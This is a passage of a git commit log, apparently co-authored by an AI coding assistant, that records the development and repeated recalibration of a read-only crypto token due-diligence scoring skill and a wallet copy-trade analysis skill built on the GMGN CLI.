run, which is the worst possible failure for a line whose only job is to catch a miscount. Corrected, and the identity is now spelled out in both directions. To stop repeating the class of mistake, verification is now an invariant sweep rather than a string grep: no prose may revoke a row the tables mark active (excluding availability rules, which legitimately say "do not deduct" on struct defaults), every inventory-total statement must say 23/25, the Step 5 table row count must equal the inventory's Price count, all caps must be 59 or 79, every Step reference must resolve, and the file-hygiene checks. All fourteen pass. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
b4749a15f8 |
feat(contract-dd): report token age, the one open item that did affect the output
Checked the deliberately-unfixed list for actual user impact. One item did have some, and it has a free fix. **A few-hours-old launch could read "relatively clean · evidence sufficient" with nothing on the line saying it was young.** Measured: a pump.fun launch scored 89.4 with no failed check beyond thin liquidity, a small holder count and an 8% drawdown — all true, none of them conveying age. The `len(kline.list)` deduction only reaches tokens under 24 candles, so six hours of history escapes it. `token info` cannot supply the age: `creation_timestamp`, `open_timestamp` and `pool.creation_timestamp` all read 0 there, on USDC as well as on a launch. But the Step 5B listing row already carries it, so it costs no extra call — the filters now extract it alongside `rug_ratio`, and Step 8 prints it next to the grade. The field differs per listing, like the envelope does: `trenches` rows carry `created_timestamp` (with `open_timestamp` at 0 on ungraduated `near_completion` tokens) while `trending` rows carry `open_timestamp` and no `created_timestamp`. Both pipelines were re-run and verified — `trending rug_ratio=1 age=21.7h` on ANTSEM, `trenches/near_completion rug_ratio=0 age=3.6h` on a live launch. Also checked, and no change needed: **`stat.creator_hold_rate` is trustworthy.** It never fired across 25 tokens, which could have been a false pass hiding a holding dev. It is not: on six live launches the rate is non-zero exactly when `stat.creator_token_balance` and `dev.creator_token_balance` are non-zero, and it agrees with the independent `creator_balance_rate` on the trenches row. MERP reads 1.35% and fone2 0.82% — real holdings that sit below the >2% tier. Whether that tier is set too high for bonding-curve launches is a calibration question, not a data bug. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
bbfaefa14f |
docs(contract-dd): cite the repo's own definition of rug_ratio behind Step 5B's bands
The bands were chosen by measurement, but the field's meaning was inferred. It is documented in this repo: src/commands/market.ts describes rug_ratio as a "rug pull risk score (0-1, e.g. 0.3 to exclude rugs)", and the CLI's own --filter-preset safe for market trenches is built on max_rug_ratio: 0.3. docs/workflow-early-project-screening.md already flags > 0.3 and docs/workflow-project-deep-report.md uses > 0.5. So both of Step 5B's cutoffs match thresholds already in use across the project's source and docs, arrived at independently from live measurement. That removes the one input to this step whose semantics I had not verified. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
24c0df5e91 |
fix(contract-dd): Step 5B must filter the listings in the shell, not read them
The step added in the previous commit was a context bomb. Measured 2026-08-28:
`market trenches --chain sol --raw` is **757,598 bytes** and
`market trending --interval 24h --limit 100 --raw` is **233,821 bytes**, against
about 5 KB for `token info` and 15 KB for a 100-candle `kline`. Reading the
trenches payload to find one address costs on the order of 200,000 tokens of
context for a single number — more than the entire rest of the procedure
combined, and enough to blow the window before any scoring happens. `--limit`
does not help: it caps rows per category at 80, and an arbitrary-address lookup
needs the whole listing.
Step 5B now specifies two verified shell pipelines that return one short line —
16 and 11 bytes measured — instead of the payload, and the Sub-commands block
marks both calls as filter-only. Both pipelines were run end to end before being
written down.
Two details that make the difference between working and silently wrong:
- The address must be `export`ed. In `VAR=x cmd | filter` the assignment applies
only to `cmd`, so the filter would not see it.
- The two responses have different shapes — `trenches` is unwrapped with the
bucket names at top level, `trending` keeps the `{"code":…,"data":…}` envelope
with rows at `data.rank` — so the two scripts are not interchangeable. Pointing
the wrong one at either endpoint finds nothing and reports `rug_ratio`
unavailable, which is indistinguishable from an unlisted token: a silent false
negative on exactly the tokens the step exists for.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
77ec2d436e |
feat(contract-dd): read GMGN's own rug label and cap on it (Step 5B)
Closes the failure the verification pass found: on ten tokens carrying
`rug_ratio >= 0.5`, three scored "relatively clean" — ANTSEM at `rug_ratio: 1.00`
scored 92.8 — seven scored "mixed", none reached "high risk", and nine reported
"evidence sufficient". A verdict number that calls a maximum-rug-label token
clean at high confidence is worse than no number.
**There is no address lookup for `rug_ratio`.** Verified absent from
`token info`, `token security` and `token pool`, and `gmgn-cli` has no
`market search` sub-command in any version measured (not in the installed 1.5.8,
not in the repo source at 1.5.9 — though `skills/gmgn-market/SKILL.md` documents
one, which is a separate bug in that file). So Step 5B scans the per-chain
listings and stops on the first match: `market trenches` first, where launches
live, then `market trending --interval 24h --limit 100`, where actively traded
tokens live.
Bands, each measured rather than picked:
- **`rug_ratio >= 0.50` → cap 59.** All ten labelled rugs move to "high risk",
removing three false "relatively clean" verdicts. Of six fresh launches scored
the same day only MERP is touched — `rug_ratio: 1.00`, composite 89.6.
- **`0.30–0.50` → cap 79.** Scored five tokens in the band: RAX 80.0, BANDOS
83.5, POKEMON 88.0 and AFD 90.5 all read "relatively clean" and are all
withheld; JWA at 76.5 was already below. Four of five changed.
- **`< 0.30` → nothing.** Deliberately inert; a cap there would be a guess.
Caps only, never a bonus, and `rug_ratio: 0` is not evidence of safety — 302 of
400 trending rows read exactly 0, so zero is the population default. Unlike Step
2's caps, which sit at 79 because they fire on an absent field, this one fires on
a measured positive, which is why its lower band goes to 59.
**Absence cannot hurt a token, structurally.** The listings rank churning tokens,
so established assets are not in them: all six bluechips in this file were absent
from every listing across four chains, so the cap has no path to a bluechip.
Acceptance test run live — USDC 100.0, RAY 88.4, CAKE 100.0 all unlisted and
uncapped; ANTSEM 92.8 → `rug_ratio 1.000` via trending → **59 "high risk"**.
`rug_ratio` is a cross-check, not a scored check, and is deliberately **not** in
the Step 6 inventory: coverage measures how much of the token's own contract,
holder and price data could be read, while this is GMGN's label about the token
and its availability tracks whether the token happens to be ranked. Putting it in
the denominator would dock every established token's coverage for being
established — the inversion Step 4 already rejects for the `stat` block. So the
inventory totals stay 23 and 25 and every verified coverage figure still holds.
Also recorded: the two listings have **different response shapes** — `trenches`
is unwrapped with the bucket names at top level, `trending` keeps the
`{"code":…,"data":…}` envelope — and assuming either for both reads as empty
data, i.e. a false "unavailable" on exactly the tokens this step exists for. The
Notes now carry a per-command shape table instead of the old blanket claim.
**The fresh-launch gap is dropped as a target, with reasons.** After Step 5B the
highest fresh launch is GROKCHAIN at 89.4 with `rug_ratio: 0.00` and no failed
check beyond thin liquidity, a small holder count and an 8% drawdown, so the gap
stays about −1. That is not a mis-score: the original calibration treated "young"
as a proxy for "risky". Youth is conveyed by the `len(kline.list)` deduction and
the confidence line, not by a depressed composite. The metric that matters is
whether a labelled rug can read as clean, and that is now closed by construction.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
f5114f703c |
fix(contract-dd): the calibration gap does not survive re-measurement — record it
Verification of the five open items. Four came back clean; the first one did not, and it is the most important thing in this file. **The +15.3 bluechip-vs-fresh-launch gap is gone.** Re-run against six current fresh launches (three pump.fun near_completion on sol, three flap on bsc, all over $20K 24h volume and $10K liquidity): lowest bluechip 88.4, highest fresh launch 89.6, **gap −1.2**, and three of six read "relatively clean". The original +15.3 came from four launches captured at one moment. **Worse: the composite does not separate tokens GMGN itself labels as rugs.** Ten tokens with `rug_ratio >= 0.5` and over $20K of 24h volume, from `market trending`: three read "relatively clean" — ANTSEM at `rug_ratio: 1.00` scored 92.8, GASSPAS at 0.54 scored 96.5, Pistacio at 0.96 scored 86.8 — seven read "mixed", and none reached "high risk". Median 73.8, nine of ten at 100% coverage / "evidence sufficient". This is not a regression from the review commits; if anything the new `vol_ratio` row helped, firing on 2 of the 10. Two causes, both now recorded: `rug_ratio` lives on `market trending` / `market trenches`, outside the three endpoints this skill calls, so the most predictive field GMGN publishes is outside the design; and the rows that fire hardest on labelled rugs are `drawdown` (8/10) and `worst_candle` (5/10), which detect a token that has already dumped rather than one about to. The grade line and the appendix now say so, and Step 6 states that "relatively clean" means "no measured red flag among the fields this skill reads" rather than "not a rug". Fixing it properly is a threshold-and-scope decision — either bring `rug_ratio` in as a fourth endpoint or tighten the `stat` tiers materially, then re-calibrate against a labelled sample far larger than ten. **Per-row firing rates, over the 25 tokens scored end to end this session.** Eleven of twenty-seven rows never fired once, including every permission field in Step 2 across all seven chains — so the whole chain-mode branch contributed nothing, and the 0.45 contract weight is carried by liquidity, `creator_created_count`, `pool_shrink`, `image_dup_count` and `len(kline.list)`. Also never fired: the tax row, `creator_hold_rate`, `fresh_wallet_rate`, `private_vault_hold_rate`, and `price / price_24h`. The full table replaces the placeholder that said firing rates should be measured someday. **The other four items came back clean.** - arc, stable and robinhood score end to end, inventory closing at 25 on each (24/1/0, 23/2/0, 23/2/0). All three populate `stat`. - Executing the prose by hand, step by step, on FEFER/stable lands on exactly 92.3 — the same number the script produced. The rules are executable as written. - No live `is_honeypot === true` token surfaced in 300 trending rows across bsc, base and eth, so the Step 7 change could not be re-tested against one directly. It is monotone in the safe direction: requiring `privileges` present-and-empty can only make the exemption harder to open, never easier, so it cannot turn a honeypot clean. `privileges` was `null` on every token measured across all seven chains. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
de83ae7012 |
chore(contract-dd): move the CLAUDE.md, marketplace and docs edits to their own PR
This PR is back to what it was scoped as: one new file, skills/gmgn-contract-dd/SKILL.md. The routing-table registration and the token-security field-shape corrections in docs/workflow-token-due-diligence.md are on feat/contract-dd-bookkeeping instead, to be merged after this one. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
35966e4095 |
feat(contract-dd): the volume row ships, with the noise tier measured out of it
The lift test the previous commit left open is done, and it split the row in two. `market trenches` cannot label this measurement at all: all 32 sampled trenches tokens returned 1 to 17 candles against the 40 `vol_ratio` needs. Re-sourced from `market trending --interval 24h --limit 100` on sol, bsc and base — 299 tokens over $2K of 24h volume, which are old enough to have candles — then three sequential batches, 47 scorable `rug_ratio > 0` against 47 scorable `rug_ratio = 0`: < 0.20 -> -18 risky 10/47 (21.3%) clean 2/47 (4.3%) lift 5.00x p=0.013 0.20-0.40 -> -8 risky 9/47 (19.1%) clean 9/47 (19.1%) lift 1.00x p=1.000 both as one rule risky 19/47 (40.4%) clean 11/47 (23.4%) lift 1.73x p=0.077 The two tiers are not the same rule. A collapse below 20% separates the populations at 5x and survives significance; the 20-40% band is 9 against 9, z of exactly 0.00 — and it is the band that was doing all the damage to bluechips. Measured `vol_ratio`: USDC 0.28, RAY 0.384, CAKE 0.587, WETH 0.380, eth USDT 1.593. USDC and WETH sit squarely in the deleted band, so shipping both tiers would have cost each 8 section points for a quiet day; the deep tier alone fires on 0 of 5. Read as one rule the row looked anti-correlated, and the three batches read 0.80x, 3.00x, 2.00x — the instability was the tier mix, not the market. So `vol_ratio < 0.20 -> -18` ships as a scored check and the shallow tier is deleted, with the measurement recorded so it is not re-litigated from one batch. Consequences, all re-verified live: the price section is 4 checks, so the Step 6 inventory is 23 on sol and 25 on the EVM chains. It closes exactly on all six bluechips — 21/2/0, 17/6/0, 22/1/0, 14/2/9, 13/3/9, 13/3/9. **All six composites are still unchanged** (100.0, 93.2, 88.4, 100.0, 97.3, 97.3) and so is every confidence label; coverage becomes 91.3 / 73.9 / 95.7 / 87.5 / 81.2 / 81.2. WETH and eth USDT sit one check above the 80% boundary, now stated as such. Also corrected a claim from the previous commit: `sniper_count` is not "no such field" — it exists on `market trending` / `market trenches` rows, just not on `token security`. And the Step 5 guard list now names `vol_ratio`'s own guards. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
9d0c7c2bdc |
fix(contract-dd): resolve the sub-command contradiction and make coverage auditable
Third review pass, over the sections the first two did not grill: Step 2, Step 8, Notes, and the two files outside the skill. **A contradiction introduced by the previous commit.** Step 0 gained a `portfolio stats` probe to tell a wallet apart from an address GMGN has no record of, while Sub-commands still read "runs exactly these three ... Nothing else" and Notes still said "three GET endpoints". The probe is now documented where it belongs: a conditional fourth call that runs only when `info.symbol` is empty, feeds no threshold, and sits on the CLI's API-key-only auth path — verified against `src/client/OpenApiClient.ts`, where `getWalletStats` uses `authExistRequest`, so the "never needs GMGN_PRIVATE_KEY" prerequisite still holds. The `--raw` envelope note now covers all four shapes. **Coverage was stated in a form that cannot be checked.** Step 8 asked for `executed N / skipped M` against an inventory total, but never for the held-out count — so `N + M + K = T`, the identity the fixed inventory exists to make verifiable, was unprintable. The report line is now `executed N / skipped M / held-out K of T` with all four numbers mandatory. **The disclosure line named the wrong set.** "chain-analysis metrics (9 checks)" covered eight holder metrics plus `creator_created_count`, which is a contract check. It now says so explicitly in both Step 4 and Step 8. **CLAUDE.md was left self-contradictory by the previous commit**, which routed a bare wallet address to `gmgn-wallet-analysis` — a skill CLAUDE.md names nowhere and has no table row for, while a separate row sent "wallet address provided" to `gmgn-portfolio`. Added the missing row and split that route the same way the token route was split: dossier verdict to `gmgn-wallet-analysis`, raw holdings and P&L to `gmgn-portfolio`. **The DD workflow doc read a struct-default zero as a pass.** Its thresholds call `top_10_holder_rate < 0.20` safe, but the field arrives as the string `"0"` on Solana and on some EVM tokens — 0% top-ten concentration does not exist. Noted the `stat` fallback, and the `"0"` versus `""` distinction for the taxes. No scoring rule changed in this commit, so no composite or coverage figure moves. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
a8e7ad3a7e |
fix(contract-dd): six more scoring defects found on a second review pass
All six were found by re-reading the scoring tables against live responses
rather than against the prose, and four of them can change a score.
1. The LP row demanded "neither locked nor burned" — a two-part claim — but
accepted `burn_status: ""` as the burn half. Measured: `burn_status` is `""`
on every EVM token sampled (10 of 10 bsc, one each arc/stable/robinhood), so
any EVM token with `is_locked: false` was taking −12 on a burn status GMGN
never reported. The row now needs both halves present, which makes it
decidable on Solana and usually unavailable on EVM. RAY is the case that
shows the row still works: `is_locked: false` with `burn_status: "none"` —
an explicit negative — and it takes the −12.
2. `buy_tax` / `sell_tax` did not distinguish `"0"` from `""`. On a populated
block `"0"` is a real 0% tax; on an unpopulated one `""` is exactly what Step
1A keys on and is unavailable. Coercing `""` to 0.0 scores a passing check on
a field that was never reported.
3. The liquidity row "0 and `volume_24h` also 0 → −15" was dead text: under the
worst-row rule a liquidity of 0 already matches `< $10K` at the same −15, so
it could never change an outcome — while implying a `0` is always a
measurement. Removed, and the ambiguity it papered over is now resolved
explicitly: 0 liquidity with 0 volume is a dead pool and scores; 0 liquidity
with non-zero volume is unavailable, because a pool cannot turn over volume
it does not have.
4. Step 6's combine order named only Step 2's caps, leaving Step 7's cap of 59
with no place to be applied — a downgraded honeypot kept its raw composite.
All caps are now collected together, lowest wins.
5. `info.image_dup_count` had no stated condition ("logo duplicates another
token"); it is `> 0`.
6. My own claim that arc/stable/robinhood matched bsc "byte for byte" was an
overstatement — `top_10_holder_rate` differs. Corrected, as was the
"Three field traps" heading over five bullets.
Re-verified live: **all six bluechip composites are still unchanged** (100.0,
93.2, 88.4, 100.0, 97.3, 97.3) and every confidence label holds. The Step 6
inventory closes exactly on all six — executed + skipped + held-out came to 22
on each sol token and 24 on each EVM token, nothing left over or double-counted.
Coverage corrected where the LP fix moved a check from executed to unavailable:
CAKE 93.3% → 86.7%, WETH and eth USDT → 80.0% each, which is exactly on the
"evidence sufficient" boundary and is now flagged as such.
Also recorded the measured `vol_ratio` values (0.28 / 0.42 / 0.616 / 0.381 /
1.427 on the five scorable bluechips — a deduction on 2 of 5 at the drafted
tiers) and the fact that its lift test against risky tokens was cut short by a
rate-limit ban, so the row stays reported-not-scored.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
849d709579 |
docs: route the DD verdict to gmgn-contract-dd and fix stale security field shapes
CLAUDE.md's Quick Decision Guide sent "is this token safe" and any bare token address to `gmgn-token`, which collides head-on with the new skill's trigger set — and with `gmgn-holder-analysis`, whose description also claims "whether a token is safe to buy". Split the row by what the user actually wants: one number goes to `gmgn-contract-dd`, the fields go to `gmgn-token`, and a bare address gets the verdict first with the fields offered after. Added the missing skill table row, and corrected the `skills/` count and the marketplace plugin description, both of which still said 9. docs/workflow-token-due-diligence.md carried the same field-shape bug PR #211 fixes in the skills: it documented `is_honeypot` as `"yes"` / `"no"` when the field is `true` / `false` / `null`, and named `open_source`, `owner_renounced`, `rug_ratio`, `creator_token_status` and `sniper_count` as `token security` fields. Verified against live responses on 2026-08-28: `owner_renounced` and `sniper_count` do not exist at all, `rug_ratio` is a `market trenches` row field, and `creator_token_status` lives at `token info` → `dev`. Also noted that the integer mirrors (`honeypot`, `open_source`) are not a safe substitute, since USDC returns `honeypot: 0` with `is_honeypot: null` — `0` conflates "no" with "unknown". Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
6cff8ba323 |
fix(contract-dd): close four field-reading holes found in review
Step 1B — the `stat` population test keyed on `stat.holder_count`, which is populated independently of the chain-analysis fields. Measured: WETH on base returns `stat.holder_count: 4818570` mirroring `info.holder_count` while all ten scored `stat.*` fields are zero, so the block was declared populated and nine checks were scored as nine *passing* checks. Added a second test (all ten zero → unpopulated). Deliberately all-ten rather than per-field: USDC reads zero on eight of ten but carries a real `top70_sniper_hold_rate`, and 0% bundlers on USDC is the truth. `stat.creator_created_count` is now gated with the eight, so the held-out group is nine, not eight. Step 7 — the exemption required "no privileged functions", but `security.privileges` came back `null` on every response measured across all six chains sampled. Reading `null` as a pass would let silence lift a honeypot verdict from 0 to 59. The gate now opens only on a present-and-empty value; same rule for the tax condition. Step 6 — coverage had no check inventory, so the denominator was whatever each executor counted and the published percentages were not reproducible. Added the fixed inventory: 22 checks on sol, 24 on the EVM chains, with the held-out and not-applicable groups named. Step 5 — the three kline measurements had no operational definition. Named the window `W` and its arrays, stated that every kline field is a string and `time` is milliseconds, and added divide-by-zero guards for `max(H)`, `O[i]` and `price_24h`. The volume row is defined but **reported, not scored**: defining it makes it executable for the first time and it immediately costs USDC 8 section points while its lift against risky tokens is unmeasured — the same shape as the sell/buy row this skill already removed. Records the test to run before it scores. Also: Step 0 probes `portfolio stats` before reporting "no record", because a bare address may be a wallet and the empty `info` block is identical either way; the untrusted-input clause now says the tell is gmgn-cli's own `[filtered]` substitution; the ">1 means already a percent" heuristic is replaced with an anomaly report, since no measured rate ever exceeded 1; description trimmed from 1006 to 968 chars; section order matches the CLAUDE.md rule. Re-verified by reimplementing the procedure as a script: all six bluechip composites and all six confidence labels are unchanged. Only coverage moves. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
9cb023889b |
fix(contract-dd): correct Step 5 field paths, drop an anti-correlated scoring row, make the tier rule explicit
Full critical review of this skill turned up five defects. Fixes, in priority order, with what each was measured against. Step 5 named `price / price_24h` and `sell_volume_24h / buy_volume_24h` as if they were top-level `token info` keys. They are not: `info.price` is an object and all of those names live inside it as strings, so both rows were arithmetic on the wrong object and could never execute. Same omission in Step 3's "no 24h volume" clause and Step 7's sells/sell-volume gate; all now carry the `info.price.` prefix. Correcting the paths made `sell_volume_24h / buy_volume_24h > 1.3 -> -10` execute for the first time, and it turned out to be anti-correlated with risk, so the row is removed rather than fixed. Because net_buy_24h = buy - sell and volume_24h = buy + sell, the rule is exactly computable from `market trenches` rows, which also carry GMGN's own rug_ratio label. Over 415 live tokens on sol, bsc and base above $2K 24h volume it fired on 0.0% of the 114 with rug_ratio > 0 and 10.0% of the 301 with rug_ratio = 0 — lift 0.00x. Reversing the direction does not rescue it (best variant lift 1.16x) and neither does the sells/buys count ratio (0.52x); median net_buy/volume is +0.0166 on risky against +0.0196 on clean. Its only measured effect was costing USDC on sol 2.0 composite points off a stablecoin's redemption flow while penalising 0 of 12 fresh launches. The price section keeps full separation without it: the three kline measurements fire on 6 of 6 scorable tokens in a rug-weighted sample and 0 of 6 bluechips. The ratio survives in Step 7 as a two-sidedness band, which is a different question and is now labelled as one. Tier exclusivity was never stated, leaving six multi-row groups ambiguous — a creator with 1971 launches matches all five creator_created_count rows, worst-row -18 against summed -51. Scoring 16 live tokens both ways puts the difference at a median of 22.2 composite points and up to 33.3, more than the 20-point grade band: one token reads 71.3 "mixed" or 38.0 "very high risk" depending only on the reading. Worst-row is now stated in Step 3 and referenced from Steps 4 and 5. Step 2's honeypot hard stop said "stop scoring" and Step 6 said "0 regardless of everything else", so Step 7's tokenized-equity exemption was unreachable — which matters because robinhood, arc and stable are three of the seven supported chains. Both now point at Step 7 first. Checked against three live is_honeypot === true tokens on base: none comes near Step 7's gate (sells_24h 243/0/0 against 500, sell_volume_24h $63.6K/$0/$0 against $100K), so all three still resolve to 0 and the reordering opens no hole. Section scores had no lower bound while the eight stat checks alone total -117, so both section and composite are now clamped to 0-100. Measured on the 14 worst rug_ratio tokens, no section goes negative under the worst-row rule, so this changes no published number. Finally, three places claimed missing data never moves the score, which the len(kline.list) deduction has always contradicted. Step 6 now names all three exceptions explicitly and the frontmatter matches. No published score changes: all six bluechips come back identical after the path correction and the row removal. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
414ed35548 |
fix(contract-dd): pin the scoring window, drop the nonstandard frontmatter key, add the hand-off table
Three review items, none of which change a single deduction or weight: - Step 5 said "score the last 96 15m candles, roughly 24h" while the skill passes no --from/--to. Measured: the default window is exactly 100 candles on sol, bsc and eth, so 96 is satisfiable today with only four candles of headroom. Read len(kline.list) and score min(96, len) instead of assuming, and state the real window when it is shorter — the measurements are ratios and survive a short window, the "24h" label does not. - metadata.catalogSlug was the only occurrence of that key in the repo: nothing reads it and none of the ten existing skills carry one. Removed for consistency; a one-line revert if the skill catalog consumes it downstream. - The holder (0.35) and price (0.20) sections are coarse by design, which makes them easy to mistake for gmgn-holder-analysis and gmgn-kline-pattern. Added a hand-off table and said outright that those skills use different thresholds and weights, so their numbers will not match this composite and neither corrects the other. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
4d43962289 |
feat(contract-dd): add contract due-diligence scoring skill
Turns three read-only GMGN calls (token info, token security, market kline) into one auditable 0-100 composite: contract safety 0.45, holder structure 0.35, price action 0.20, renormalised over only the sections that returned data. Every deduction names the field it came from. The skill exists because scoring GMGN's security fields naively condemns clean tokens. An unpopulated response object still carries false on its booleans, "" on its strings and 0 on its numbers, and reading those as measurements is the failure mode the whole design is built around. Missing data is therefore neither a deduction nor a bonus: it lowers reported coverage, and coverage bounds how strong a claim the score may make rather than moving the score itself. Validated by running the procedure end to end over 14 addresses on 2026-08-27 — five bluechips, four fresh launches, three well-formed addresses with no GMGN record, one malformed address. What that measured, and what the rules had to say as a result: - token existence is decided by info.symbol, not by security.address. GMGN echoes the requested address back into security.address for addresses it holds no record for; two fabricated addresses came back echoed with renounced_mint=false, and one also returned a full 100-candle kline series, while their info blocks were empty. Step 0 refuses to score those instead of reporting a risk grade for a token that is not there. - every rate and tax field is a decimal fraction, including the four named *_percentage. top_10_holder_rate "0.1783" is 17.83% and buy_tax "0.01" is a 1% tax, so a threshold written in percent needs a x100 before the comparison or the deduction silently never fires. - on sol the four is_* fields are null by design and the numeric ones read "0", so an emptiness test declares every Solana block empty. Step 1A is scoped to the EVM fields; renounced_mint and renounced_freeze_account are read unconditionally once the token is known to exist, or Solana loses its only two contract signals. - info.stat is populated per token, not per chain: full block on a four-hour-old bsc meme, zeros on CAKE. - the two dev X fields are aggregates over the linked X account across every token it has been attached to. USDC's rename history reads circlepay -> circle -> arc and CAKE reports 44 deleted launch posts, so deducting on them penalises projects for having a past. Both are reported and neither scores. - under --raw these three commands print the unwrapped payload, so there is no code field to read. Read-only by construction: three GET endpoints, no signing, no private key, and the skill explicitly forbids calling swap, order or cooking commands. One new file, nothing else touched. CLAUDE.md and marketplace.json bookkeeping is left to maintainers; see the PR body. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
02ebdf427c |
feat(wallet-analysis): add four-gate wallet copy-trade dossier skill (#207)
* feat(wallet-analysis): add four-gate wallet copy-trade dossier skill Answers "should I copy this wallet, and what happens to me if I do?" with four independent pass/fail gates instead of a blended score: authenticity, currency (is the edge still working this week), reachability (can you get filled), survivability (does it cut losses). Each gate prints the single number that decided it, and the verdict is a pure function of the gates. analyze.py is read-only — portfolio stats/profits/activity/holdings/ created-tokens only, no signing. gen_fixtures.py builds eight synthetic wallets, each engineered to fail exactly one gate, so analyze.py can be verified offline with no API key. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): stop letting third-party labels decide the verdict A live run on 0xa7d4ffc4eca3c71af150ce302560a9d04a1d2b9f returned `🔴 别碰` on a wallet with $459K of genuine realized profit. Two independent false positives caused it, and both were refutable from data already present in the same response. - `wash_trader` now has to be corroborated before it can veto G1. `conviction_share` measures the fraction of realized gains coming from positions that netted more than their own cost basis or cleared $1k per exit — self-dealing nets ~0 per round trip and cannot reach either bar. At >=50% the tag is demoted to a visible caution carrying the number that refuted it; below 50% G1 fails and prints the share; unmeasurable (no holdings) is now G1 ⚪, never a manufactured ❌. - `token.is_honeypot` is refuted by `history_total_sells > 0` on the same row. Seven "honeypots" failed G4 on one wallet; it had sold one of them 101 times. They were transfer-restricted tokenised-stock contracts. - Position scale is read from holdings, not from clip size. A wallet laddering a $54K position out of $3.4K clips was labelled "ordinary trading wallet" on `avg_buy_usd` alone. Report changes, from review feedback: - Identity moves above the gates and prints the full `x.com/<handle>`; a missing X account is stated rather than silently omitted. - New profit-engine attribution (撒网命中 / 周转磨利 / 选币重仓 / 分散积累) from trade cadence x gain concentration. A return figure alone does not say whether the edge is speed or selection, and the two are copied in completely different ways. - Verdict layer rewritten for plain language: a verb the reader can act on, everyday words for the cause, one imperative sentence for the action. `token_num < 5` is ⚪, not 🔴 — unmeasured is not measured-bad. G3 ❌ no longer short-circuits G4 ❌; both problems get stated. `put()` now budgets for the wider of prefix and `hang`, closing the one way a caller could exceed the column limit while still going through it. Fixtures 9 -> 12: `tagged-not-washing`, `thin-sample`, `unverifiable-wash`, `unreachable-and-no-cut`. The wash_trader tag now has three fixtures covering corroborated / uncheckable / refuted; a change that makes any two agree is a regression. All 11 verdict branches are covered. 12 fixtures x 2 languages, zero lines over the width limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(portfolio): correct holdings/activity field names against live API The documented names for `portfolio holdings` and `portfolio activity` did not match gmgn-cli 1.5.8, and are not accepted as aliases. This is where gmgn-wallet-analysis got its original field names from, and why its first cut read zeros off a live wallet: a wrong name returns `undefined`, which becomes 0, which renders as "this wallet made nothing" — an error that looks like an answer. Corrected against real responses: holdings array -> `list` cost -> `accu_cost` profit_change -> `total_profit_pnl` buy_tx_count / sell_tx_count -> `history_total_buys` / `history_total_sells` token.address -> `token.token_address` (that name is activity's) transaction_hash -> `tx_hash` type -> `event_type` Also: `avg_cost` is not returned (derive from `accu_cost / balance`), and `--sell-out` does not exist — gmgn-cli rejects it as an unknown option. Adds a response-envelope table, since the five routes do not share a shape: stats is bare, profits wraps a single row in `{"list":[…]}`, activity uses `activities`, holdings uses `list`, created-tokens puts rows under `tokens`. Documents fields that were missing entirely and are load-bearing for wallet analysis: `token.is_honeypot` (noting that `history_total_sells > 0` on the same row contradicts it — a honeypot cannot be sold), `token.launchpad_platform`, `token.liquidity`, `buy_cost_usd` (a sell row's cost basis), the gas/fee fields, and the realized/unrealized pnl split. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): merge the style-label layer into the dossier The dossier had numbers, gates and a verdict but no name a reader could repeat out loud. The 4x5 title grid (frequency x P&L) and the speed subtitle come in from gmgn-wallet-style, with four corrections made on the way, each because the original mis-labelled a wallet we had already cross-checked against gmgn.ai's own leaderboard. - No ⭐「官方认证」badge. It fired on any non-empty `common.tags`, so it rendered `wash_trader` under a commendation glyph — the exact thing this skill's tag rules forbid. Tags keep going through TAGS/severity and the corroboration check. - The speed subtitle reads the median copy window, not `avg_holding_period`. The mean counts bags never sold, so it called a 2-minute scalper 「波段流 1-7 天」; someone acting on that holds for days a position the wallet exits in minutes. - P5 needs ROI > 50% plus ONE of {win rate >= 50%, heavy-loss share < 15%}, not all three. Requiring all three demoted a wallet sitting at #3 on GMGN's BSC 7D leaderboard to P4: memecoin P&L is low-hit-rate with a fat right tail, so a 50% win-rate gate penalises exactly the wallets that work. The `token_num >= 5` floor on P5 is kept. - The P5 gloss names the corroborator that carried it, so 「强盈」 is never a bare claim. 「高频且高胜率低回撤」 above a 33.3% win rate was a heading contradicting its own contents. Also: no label at all when `token_num < 5` — the verdict already says ⚪ 看不出来, and 「稳步选手 · 正收益,无明显短板」 beside it contradicts it. Badges merged: 彩票型, 分批止盈, 集中押注, 固定时段. The last two are gated on sample size, which the original was not: top-3 of 3 tokens is 100% by arithmetic, and any sample spanning under 12 hours "clusters" inside a 6-hour window by arithmetic. The original fired both on a 14.2-hour sample and emitted no warning. Not merged: 囤积中 / 派发中 duplicate the existing 24h posture reading, and 抢跑党 needs a per-chain gas constant that would go stale silently — gas_share and gas_drag already carry that signal, normalised against the wallet's own trade size. 12 fixtures x 2 languages, 8 distinct grid cells exercised, zero lines over the width limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(wallet-analysis): sync trigger words with the merged style layer The description still said the skill gives "a decision rather than a label or a score" — as of the style merge it gives both. That routed 「这个钱包什么风格」 to gmgn-wallet-style, which returns a strict subset: the same title and subtitle without the four gates, the profit engine, or the size cap. Adds the style trigger phrases, and states that a bare wallet address defaults here rather than being contested between the two. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * refactor(wallet-analysis): English-only source, translations in lang/zh.json analyze.py carried every user-facing string twice, as `_(zh, en)`, which made Chinese prose part of the program: 250 call sites, two tables holding both languages inline, and seven `if ZH` branches picking a list separator. Adding a third language meant editing every line of the file, and CLAUDE.md's "SKILL.md is English only" rule had quietly stopped 